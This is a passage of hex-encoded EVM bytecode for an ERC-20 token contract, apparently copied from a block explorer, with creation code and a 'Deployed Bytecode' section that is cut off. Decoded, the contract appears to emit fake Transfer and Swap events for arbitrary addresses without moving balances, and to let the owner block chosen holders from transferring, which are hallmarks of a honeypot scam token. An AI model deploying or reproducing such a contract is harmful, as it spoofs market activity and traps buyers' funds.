78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612578565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061263a565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126c8565b610791565b60405161025c9190612723565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b604051610287919061273e565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126c8565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612759565b610aa4565b6040516102ed9190612723565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b60405161031891906127c8565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906127e3565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c91906126c8565b610b28565b60405161037e9190612723565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a991906127e3565b610b5f565b6040516103bb9190612723565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e691906127e3565b610bb5565b6040516103f8919061273e565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906128cb565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b506104686004803603810190610463919061297f565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c91906129cc565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906126c8565b61101e565b005b3480156104c857600080fd5b506104d161128f565b6040516104de9190612a40565b60405180910390f35b3480156104f357600080fd5b506104fc6112b8565b604051610509919061263a565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612a5b565b61134a565b005b34801561054757600080fd5b50610562600480360381019061055d91906129cc565b61136c565b005b34801561057057600080fd5b5061058b600480360381019061058691906126c8565b6114f7565b6040516105989190612723565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906126c8565b61156e565b6040516105d59190612723565b60405180910390f35b3480156105ea57600080fd5b50610605600480360381019061060091906126c8565b611591565b005b34801561061357600080fd5b5061062e60048036038101906106299190612759565b611847565b005b34801561063c57600080fd5b506106456118b1565b005b34801561065357600080fd5b5061066e60048036038101906106699190612aae565b611902565b60405161067b919061273e565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a6919061297f565b611989565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906127e3565b611a36565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612aee565b611aba565b005b60606006805461070e90612b9e565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b9e565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfb565b90506107a9818585611e03565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612bd0565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612c43565b81600181518110610900576108ff612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061096930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e03565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b81526004016109cf959493929190612d73565b6000604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a179190612ef1565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a97919061273e565b60405180910390a3505050565b600080610aaf611dfb565b9050610abc858285611fce565b610ac785858561205a565b60019150509392505050565b60006012905090565b610ae46123d2565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b33611dfb565b9050610b54818585610b458589611902565b610b4f9190612f69565b611e03565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610ceb57848482818110610c1f57610c1e612bff565b5b9050602002016020810190610c3491906127e3565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c5d57610c5c612bff565b5b9050602002016020810190610c7291906127e3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610cbc57610cbb612bff565b5b90506020020135604051610cd0919061273e565b60405180910390a38080610ce390612fbf565b915050610c01565b50505050505050565b610cfc6123d2565b610d066000612450565b565b610d106123d2565b60005b82829050811015610e8d57600160026000858585818110610d3757610d36612bff565b5b9050602002016020810190610d4c91906127e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610de957610de8612bff565b5b9050602002016020810190610dfe91906127e3565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e65868686818110610e4b57610e4a612bff565b5b9050602002016020810190610e6091906127e3565b610bb5565b604051610e72919061273e565b60405180910390a38080610e8590612fbf565b915050610d13565b505050565b60005b8484905081101561101757848482818110610eb357610eb2612bff565b5b9050602002016020810190610ec891906127e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f4e9493929190613043565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610fa257610fa1612bff565b5b9050602002016020810190610fb791906127e3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ffc919061273e565b60405180910390a3808061100f90612fbf565b915050610e95565b5050505050565b6000600267ffffffffffffffff81111561103b5761103a612bd0565b5b6040519080825280602002602001820160405280156110695781602001602082028036833780820191505090505b509050308160008151811061108157611080612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114c9190612c43565b816001815181106111605761115f612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506111a5833084611e03565b6111b083308461205a565b6111dd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611e03565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018430426040518663ffffffff1660e01b8152600401611241959493929190612d73565b6000604051808303816000875af1158015611260573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906112899190612ef1565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546112c790612b9e565b80601f01602080910402602001604051908101604052809291908181526020018280546112f390612b9e565b80156113405780601f1061131557610100808354040283529160200191611340565b820191906000526020600020905b81548152906001019060200180831161132357829003601f168201915b5050505050905090565b6113526123d2565b82600b8190555081600c8190555080600d81905550505050565b60005b848490508110156114f05784848281811061138d5761138c612bff565b5b90506020020160208101906113a291906127e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516114279493929190613088565b60405180910390a384848281811061144257611441612bff565b5b905060200201602081019061145791906127e3565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114d5919061273e565b60405180910390a380806114e890612fbf565b91505061136f565b5050505050565b600080611502611dfb565b905060006115108286611902565b905083811015611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c9061313f565b60405180910390fd5b6115628286868403611e03565b60019250505092915050565b600080611579611dfb565b905061158681858561205a565b600191505092915050565b6000600267ffffffffffffffff8111156115ae576115ad612bd0565b5b6040519080825280602002602001820160405280156115dc5781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116709190612c43565b8160008151811061168457611683612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106116d3576116d2612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b8152600401611772949392919061315f565b60006040518083038185885af1158015611790573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906117ba9190612ef1565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183a919061273e565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a4919061273e565b60405180910390a3505050565b6118b96123d2565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156118ff573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119916123d2565b60005b82829050811015611a31576000600260008585858181106119b8576119b7612bff565b5b90506020020160208101906119cd91906127e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611a2990612fbf565b915050611994565b505050565b611a3e6123d2565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa59061321d565b60405180910390fd5b611ab781612450565b50565b6000600267ffffffffffffffff811115611ad757611ad6612bd0565b5b604051908082528060200260200182016040528015611b055781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b999190612c43565b81600081518110611bad57611bac612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611bfc57611bfb612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015611df357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a87818110611c9b57611c9a612bff565b5b9050602002016020810190611cb091906127e3565b426040518663ffffffff1660e01b8152600401611cd0949392919061315f565b60006040518083038185885af1158015611cee573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611d189190612ef1565b50858582818110611d2c57611d2b612bff565b5b9050602002016020810190611d4191906127e3565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110611dc457611dc3612bff565b5b90506020020135604051611dd8919061273e565b60405180910390a38080611deb90612fbf565b915050611c39565b505050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6a906132af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613341565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611fc1919061273e565b60405180910390a3505050565b6000611fda8484611902565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120545781811015612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d906133ad565b60405180910390fd5b6120538484848403611e03565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c19061343f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561213a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612131906134d1565b60405180910390fd5b612145838383612514565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c390613563565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123005750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561235c5760011515600560009054906101000a900460ff1615151461235b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612352906135a9565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123b9919061273e565b60405180910390a36123cc848484612519565b50505050565b6123da611dfb565b73ffffffffffffffffffffffffffffffffffffffff166123f861128f565b73ffffffffffffffffffffffffffffffffffffffff161461244e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244590613615565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125498261251e565b9050919050565b6125598161253e565b82525050565b6000819050919050565b6125728161255f565b82525050565b600060408201905061258d6000830185612550565b61259a6020830184612569565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125db5780820151818401526020810190506125c0565b838111156125ea576000848401525b50505050565b6000601f19601f8301169050919050565b600061260c826125a1565b61261681856125ac565b93506126268185602086016125bd565b61262f816125f0565b840191505092915050565b600060208201905081810360008301526126548184612601565b905092915050565b6000604051905090565b600080fd5b600080fd5b6126798161253e565b811461268457600080fd5b50565b60008135905061269681612670565b92915050565b6126a58161255f565b81146126b057600080fd5b50565b6000813590506126c28161269c565b92915050565b600080604083850312156126df576126de612666565b5b60006126ed85828601612687565b92505060206126fe858286016126b3565b9150509250929050565b60008115159050919050565b61271d81612708565b82525050565b60006020820190506127386000830184612714565b92915050565b60006020820190506127536000830184612569565b92915050565b60008060006060848603121561277257612771612666565b5b600061278086828701612687565b935050602061279186828701612687565b92505060406127a2868287016126b3565b9150509250925092565b600060ff82169050919050565b6127c2816127ac565b82525050565b60006020820190506127dd60008301846127b9565b92915050565b6000602082840312156127f9576127f8612666565b5b600061280784828501612687565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261283557612834612810565b5b8235905067ffffffffffffffff81111561285257612851612815565b5b60208301915083602082028301111561286e5761286d61281a565b5b9250929050565b60008083601f84011261288b5761288a612810565b5b8235905067ffffffffffffffff8111156128a8576128a7612815565b5b6020830191508360208202830111156128c4576128c361281a565b5b9250929050565b600080600080600080606087890312156128e8576128e7612666565b5b600087013567ffffffffffffffff8111156129065761290561266b565b5b61291289828a0161281f565b9650965050602087013567ffffffffffffffff8111156129355761293461266b565b5b61294189828a0161281f565b9450945050604087013567ffffffffffffffff8111156129645761296361266b565b5b61297089828a01612875565b92509250509295509295509295565b6000806020838503121561299657612995612666565b5b600083013567ffffffffffffffff8111156129b4576129b361266b565b5b6129c08582860161281f565b92509250509250929050565b600080600080606085870312156129e6576129e5612666565b5b600085013567ffffffffffffffff811115612a0457612a0361266b565b5b612a108782880161281f565b94509450506020612a23878288016126b3565b9250506040612a34878288016126b3565b91505092959194509250565b6000602082019050612a556000830184612550565b92915050565b600080600060608486031215612a7457612a73612666565b5b6000612a82868287016126b3565b9350506020612a93868287016126b3565b9250506040612aa4868287016126b3565b9150509250925092565b60008060408385031215612ac557612ac4612666565b5b6000612ad385828601612687565b9250506020612ae485828601612687565b9150509250929050565b60008060008060408587031215612b0857612b07612666565b5b600085013567ffffffffffffffff811115612b2657612b2561266b565b5b612b328782880161281f565b9450945050602085013567ffffffffffffffff811115612b5557612b5461266b565b5b612b6187828801612875565b925092505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612bb657607f821691505b60208210811415612bca57612bc9612b6f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612c3d81612670565b92915050565b600060208284031215612c5957612c58612666565b5b6000612c6784828501612c2e565b91505092915050565b6000819050919050565b6000819050919050565b6000612c9f612c9a612c9584612c70565b612c7a565b61255f565b9050919050565b612caf81612c84565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cea8161253e565b82525050565b6000612cfc8383612ce1565b60208301905092915050565b6000602082019050919050565b6000612d2082612cb5565b612d2a8185612cc0565b9350612d3583612cd1565b8060005b83811015612d66578151612d4d8882612cf0565b9750612d5883612d08565b925050600181019050612d39565b5085935050505092915050565b600060a082019050612d886000830188612569565b612d956020830187612ca6565b8181036040830152612da78186612d15565b9050612db66060830185612550565b612dc36080830184612569565b9695505050505050565b612dd6826125f0565b810181811067ffffffffffffffff82111715612df557612df4612bd0565b5b80604052505050565b6000612e0861265c565b9050612e148282612dcd565b919050565b600067ffffffffffffffff821115612e3457612e33612bd0565b5b602082029050602081019050919050565b600081519050612e548161269c565b92915050565b6000612e6d612e6884612e19565b612dfe565b90508083825260208201905060208402830185811115612e9057612e8f61281a565b5b835b81811015612eb95780612ea58882612e45565b845260208401935050602081019050612e92565b5050509392505050565b600082601f830112612ed857612ed7612810565b5b8151612ee8848260208601612e5a565b91505092915050565b600060208284031215612f0757612f06612666565b5b600082015167ffffffffffffffff811115612f2557612f2461266b565b5b612f3184828501612ec3565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f748261255f565b9150612f7f8361255f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fb457612fb3612f3a565b5b828201905092915050565b6000612fca8261255f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ffd57612ffc612f3a565b5b600182019050919050565b6000819050919050565b600061302d61302861302384613008565b612c7a565b61255f565b9050919050565b61303d81613012565b82525050565b60006080820190506130586000830187613034565b6130656020830186612569565b6130726040830185612569565b61307f6060830184613034565b95945050505050565b600060808201905061309d6000830187612569565b6130aa6020830186613034565b6130b76040830185613034565b6130c46060830184612569565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131296025836125ac565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b60006080820190506131746000830187612ca6565b81810360208301526131868186612d15565b90506131956040830185612550565b6131a26060830184612569565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132076026836125ac565b9150613212826131ab565b604082019050919050565b60006020820190508181036000830152613236816131fa565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132996024836125ac565b91506132a48261323d565b604082019050919050565b600060208201905081810360008301526132c88161328c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061332b6022836125ac565b9150613336826132cf565b604082019050919050565b6000602082019050818103600083015261335a8161331e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613397601d836125ac565b91506133a282613361565b602082019050919050565b600060208201905081810360008301526133c68161338a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134296025836125ac565b9150613434826133cd565b604082019050919050565b600060208201905081810360008301526134588161341c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134bb6023836125ac565b91506134c68261345f565b604082019050919050565b600060208201905081810360008301526134ea816134ae565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061354d6026836125ac565b9150613558826134f1565b604082019050919050565b6000602082019050818103600083015261357c81613540565b9050919050565b50565b60006135936000836125ac565b915061359e82613583565b600082019050919050565b600060208201905081810360008301526135c281613586565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135ff6020836125ac565b915061360a826135c9565b602082019050919050565b6000602082019050818103600083015261362e816135f2565b905091905056fea264697066735822122012817bf92320a5293d5e0423039d7e4e4bcd68785867503d1e317848d8aab9ac64736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612578565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061263a565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126c8565b610791565b60405161025c9190612723565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b604051610287919061273e565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126c8565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612759565b610aa4565b6040516102ed9190612723565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b60405161031891906127c8565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906127e3565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c91906126c8565b610b28565b60405161037e9190612723565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a991906127e3565b610b5f565b6040516103bb9190612723565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e691906127e3565b610bb5565b6040516103f8919061273e565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906128cb565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b506104686004803603810190610463919061297f565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c91906129cc565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906126c8565b61101e565b005b3480156104c857600080fd5b506104d161128f565b6040516104de9190612a40565b60405180910390f35b3480156104f357600080fd5b506104fc6112b8565b604051610509919061263a565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612a5b565b61134a565b005b34801561054757600080fd5b50610562600480360381019061055d91906129cc565b61136c565b005b34801561057057600080fd5b5061058b600480360381019061058691906126c8565b6114f7565b6040516105989190612723565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906126c8565b61156e565b6040516105d59190612723565b60405180910390f35b3480156105ea57600080fd5b50610605600480360381019061060091906126c8565b611591565b005b34801561061357600080fd5b5061062e60048036038101906106299190612759565b611847565b005b34801561063c57600080fd5b506106456118b1565b005b34801561065357600080fd5b5061066e60048036038101906106699190612aae565b611902565b60405161067b919061273e565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a6919061297f565b611989565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906127e3565b611a36565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612aee565b611aba565b005b60606006805461070e90612b9e565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b9e565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfb565b90506107a9818585611e03565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612bd0565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612c43565b81600181518110610900576108ff612bff565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061096930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e03565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b81526004016109cf959493929190612d73565b6000604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a179190612ef1565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a97919061273e565b60405180910390a3505050565b600080610aaf61